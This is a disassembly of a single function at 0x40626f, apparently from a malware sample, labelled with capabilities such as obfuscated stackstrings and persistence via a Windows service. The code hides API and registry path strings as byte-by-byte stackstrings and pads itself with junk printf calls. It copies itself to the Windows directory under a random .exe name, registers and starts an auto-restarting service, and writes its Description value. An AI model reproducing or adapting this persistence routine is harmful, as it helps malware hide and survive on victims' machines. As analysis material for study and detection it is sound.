Function at 0x40626f
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408220
push 0x407310
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x580
push ebx
push esi
push edi
push 9
push 6
pop esi
push esi
mov ebx, str._ni_d__j_d_n
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
mov edi, str._nx_d__y_d_n
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
push 0x104
lea eax, [ebp - 0x340]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
mov byte [ebp - 0x238], 0x47
mov byte [ebp - 0x237], 0x65
mov byte [ebp - 0x236], 0x74
mov byte [ebp - 0x235], 0x57
mov byte [ebp - 0x234], 0x69
mov byte [ebp - 0x233], 0x6e
mov byte [ebp - 0x232], 0x64
mov byte [ebp - 0x231], 0x6f
mov byte [ebp - 0x230], 0x77
mov byte [ebp - 0x22f], 0x73
mov byte [ebp - 0x22e], 0x44
mov byte [ebp - 0x22d], 0x69
mov byte [ebp - 0x22c], 0x72
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x63
mov byte [ebp - 0x229], 0x74
mov byte [ebp - 0x228], 0x6f
mov byte [ebp - 0x227], 0x72
mov byte [ebp - 0x226], 0x79
mov byte [ebp - 0x225], 0x41
and byte [ebp - 0x224], 0
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
add esp, 0x48
lea eax, [ebp - 0x238]
push eax
push 0x40a1f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34c], eax
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
push 0x104
lea eax, [ebp - 0x220]
push eax
call dword [ebp - 0x34c]
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0x28
test eax, eax
je 0x406512
push 0x1a
call fcn.004022db
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.004022db
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.004022db
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.004022db
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.004022db
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.004022db
pop ecx
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea eax, [ebp - 0x3fc]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x40a7b4
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
add esp, 0x40
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
push 0x104
push 0
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.dll_memset
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x44
and dword [ebp - 0x23c], 0
push 9
push esi
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push esi
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
xor ebx, ebx
mov dword [ebp - 0x348], ebx
mov dword [ebp - 0x344], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x344], eax
cmp eax, ebx
je 0x406e5f
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x340]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x348], eax
push 3
pop ebx
mov dword [ebp - 0x4ac], ebx
push 9
pop eax
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], 4
mov dword [ebp - 0x4ac], 5
mov dword [ebp - 0x4ac], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x4a4], ebx
mov dword [ebp - 0x4a4], 4
mov dword [ebp - 0x4a4], 5
mov dword [ebp - 0x4a4], esi
push 0x12
pop eax
mov dword [ebp - 0x4a8], eax
push eax
push esi
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
push dword [ebp - 0x344]
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x468], eax
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4bc], ebx
push 9
pop eax
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], 4
mov dword [ebp - 0x4bc], 5
mov dword [ebp - 0x4bc], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x4b4], ebx
mov dword [ebp - 0x4b4], 4
mov dword [ebp - 0x4b4], 5
mov dword [ebp - 0x4b4], esi
push 0x12
pop eax
mov dword [ebp - 0x4b8], eax
push eax
push esi
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
mov dword [ebp - 0x440], str.Pqrstu_Bcdefgh_Jklmnop_Rstu
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4cc], ebx
push 9
pop eax
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], 4
mov dword [ebp - 0x4cc], 5
mov dword [ebp - 0x4cc], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x4c4], ebx
mov dword [ebp - 0x4c4], 4
mov dword [ebp - 0x4c4], 5
mov dword [ebp - 0x4c4], esi
push 0x12
pop eax
mov dword [ebp - 0x4c8], eax
push eax
push esi
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x440]
push eax
push 1
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x4dc], ebx
push 9
pop eax
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], 4
mov dword [ebp - 0x4dc], 5
mov dword [ebp - 0x4dc], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x4d4], ebx
mov dword [ebp - 0x4d4], 4
mov dword [ebp - 0x4d4], 5
mov dword [ebp - 0x4d4], esi
push 0x12
pop eax
mov dword [ebp - 0x4d8], eax
push eax
push esi
push edi
call sub.MSVCRT.dll_printf
and dword [ebp - 0x47c], 0
xor eax, eax
lea edi, [ebp - 0x478]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x478], 0
mov dword [ebp - 0x47c], 0x15180
mov dword [ebp - 0x4ec], ebx
push 9
pop eax
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], 4
push 5
pop edi
mov dword [ebp - 0x4ec], edi
mov dword [ebp - 0x4ec], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x4e4], ebx
mov dword [ebp - 0x4e4], 4
mov dword [ebp - 0x4e4], edi
mov dword [ebp - 0x4e4], esi
push 0x12
pop eax
mov dword [ebp - 0x4e8], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x4fc], ebx
push 9
pop eax
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], 4
mov dword [ebp - 0x4fc], edi
mov dword [ebp - 0x4fc], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x4f4], ebx
mov dword [ebp - 0x4f4], 4
mov dword [ebp - 0x4f4], edi
mov dword [ebp - 0x4f4], esi
push 0x12
pop eax
mov dword [ebp - 0x4f8], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
add esp, 0x48
mov dword [ebp - 0x454], 0x1b58
mov dword [ebp - 0x458], 1
mov dword [ebp - 0x50c], ebx
push 9
pop eax
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], 4
mov dword [ebp - 0x50c], edi
mov dword [ebp - 0x50c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x504], ebx
mov dword [ebp - 0x504], 4
mov dword [ebp - 0x504], edi
mov dword [ebp - 0x504], esi
push 0x12
pop eax
mov dword [ebp - 0x508], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
and dword [ebp - 0x44c], 0
push 1
pop eax
mov dword [ebp - 0x450], eax
and dword [ebp - 0x444], 0
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x51c], ebx
push 9
pop eax
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], 4
mov dword [ebp - 0x51c], edi
mov dword [ebp - 0x51c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x514], ebx
mov dword [ebp - 0x514], 4
mov dword [ebp - 0x514], edi
mov dword [ebp - 0x514], esi
push 0x12
pop eax
mov dword [ebp - 0x518], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x470], ebx
lea eax, [ebp - 0x458]
mov dword [ebp - 0x46c], eax
and dword [ebp - 0x474], 0
mov dword [ebp - 0x52c], ebx
push 9
pop eax
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], 4
mov dword [ebp - 0x52c], edi
mov dword [ebp - 0x52c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x524], ebx
mov dword [ebp - 0x524], 4
mov dword [ebp - 0x524], edi
mov dword [ebp - 0x524], esi
push 0x12
pop eax
mov dword [ebp - 0x528], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
add esp, 0x48
lea eax, [ebp - 0x47c]
push eax
push 2
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x53c], ebx
push 9
pop eax
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], 4
mov dword [ebp - 0x53c], edi
mov dword [ebp - 0x53c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x534], ebx
mov dword [ebp - 0x534], 4
mov dword [ebp - 0x534], edi
mov dword [ebp - 0x534], esi
push 0x12
pop eax
mov dword [ebp - 0x538], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
add esp, 0x18
push dword [ebp - 0x468]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov dword [ebp - 0x54c], ebx
push 9
pop eax
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x54c], 4
mov dword [ebp - 0x54c], edi
mov dword [ebp - 0x54c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x544], ebx
mov dword [ebp - 0x544], 4
mov dword [ebp - 0x544], edi
mov dword [ebp - 0x544], esi
push 0x12
pop eax
mov dword [ebp - 0x548], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
add esp, 0x18
cmp dword [ebp - 0x348], 0
jne 0x406b0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x406b0f
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x344]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x348], eax
test eax, eax
je 0x406e5d
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x406e5d
mov byte [ebp - 0x4a0], 0x53
mov byte [ebp - 0x49f], 0x59
mov byte [ebp - 0x49e], 0x53
mov byte [ebp - 0x49d], 0x54
mov byte [ebp - 0x49c], 0x45
mov byte [ebp - 0x49b], 0x4d
mov byte [ebp - 0x49a], 0x5c
mov byte [ebp - 0x499], 0x43
mov byte [ebp - 0x498], 0x75
mov byte [ebp - 0x497], 0x72
mov byte [ebp - 0x496], 0x72
mov byte [ebp - 0x495], 0x65
mov byte [ebp - 0x494], 0x6e
mov byte [ebp - 0x493], 0x74
mov byte [ebp - 0x492], 0x43
mov byte [ebp - 0x491], 0x6f
mov byte [ebp - 0x490], 0x6e
mov byte [ebp - 0x48f], 0x74
mov byte [ebp - 0x48e], 0x72
mov byte [ebp - 0x48d], 0x6f
mov byte [ebp - 0x48c], 0x6c
mov byte [ebp - 0x48b], 0x53
mov byte [ebp - 0x48a], 0x65
mov byte [ebp - 0x489], 0x74
mov byte [ebp - 0x488], 0x5c
mov byte [ebp - 0x487], 0x53
mov byte [ebp - 0x486], 0x65
mov byte [ebp - 0x485], 0x72
mov byte [ebp - 0x484], 0x76
mov byte [ebp - 0x483], 0x69
mov byte [ebp - 0x482], 0x63
mov byte [ebp - 0x481], 0x65
mov byte [ebp - 0x480], 0x73
mov byte [ebp - 0x47f], 0x5c
and byte [ebp - 0x47e], 0
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcpy
mov dword [ebp - 0x55c], ebx
push 9
pop eax
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], 4
mov dword [ebp - 0x55c], edi
mov dword [ebp - 0x55c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x554], ebx
mov dword [ebp - 0x554], 4
mov dword [ebp - 0x554], edi
mov dword [ebp - 0x554], esi
push 0x12
pop eax
mov dword [ebp - 0x558], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcat
mov dword [ebp - 0x56c], ebx
push 9
pop eax
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], 4
mov dword [ebp - 0x56c], edi
mov dword [ebp - 0x56c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x564], ebx
mov dword [ebp - 0x564], 4
mov dword [ebp - 0x564], edi
mov dword [ebp - 0x564], esi
push 0x12
pop eax
mov dword [ebp - 0x568], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
add esp, 0x40
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x11c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x57c], ebx
push 9
pop eax
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], 4
mov dword [ebp - 0x57c], edi
mov dword [ebp - 0x57c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x574], ebx
mov dword [ebp - 0x574], 4
mov dword [ebp - 0x574], edi
mov dword [ebp - 0x574], esi
push 0x12
pop eax
mov dword [ebp - 0x578], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
mov byte [ebp - 0x464], 0x44
mov byte [ebp - 0x463], 0x65
mov byte [ebp - 0x462], 0x73
mov byte [ebp - 0x461], 0x63
mov byte [ebp - 0x460], 0x72
mov byte [ebp - 0x45f], 0x69
mov byte [ebp - 0x45e], 0x70
mov byte [ebp - 0x45d], 0x74
mov byte [ebp - 0x45c], 0x69
mov byte [ebp - 0x45b], 0x6f
mov byte [ebp - 0x45a], 0x6e
and byte [ebp - 0x459], 0
mov dword [ebp - 0x58c], ebx
push 9
pop eax
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], 4
mov dword [ebp - 0x58c], edi
mov dword [ebp - 0x58c], esi
push eax
push esi
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
mov dword [ebp - 0x584], ebx
mov dword [ebp - 0x584], 4
mov dword [ebp - 0x584], edi
mov dword [ebp - 0x584], esi
push 0x12
pop eax
mov dword [ebp - 0x588], eax
push eax
push esi
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
add esp, 0x30
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push 1
push 0
lea eax, [ebp - 0x464]
push eax
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
or dword [ebp - 4], 0xffffffff
call fcn.00406e79
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret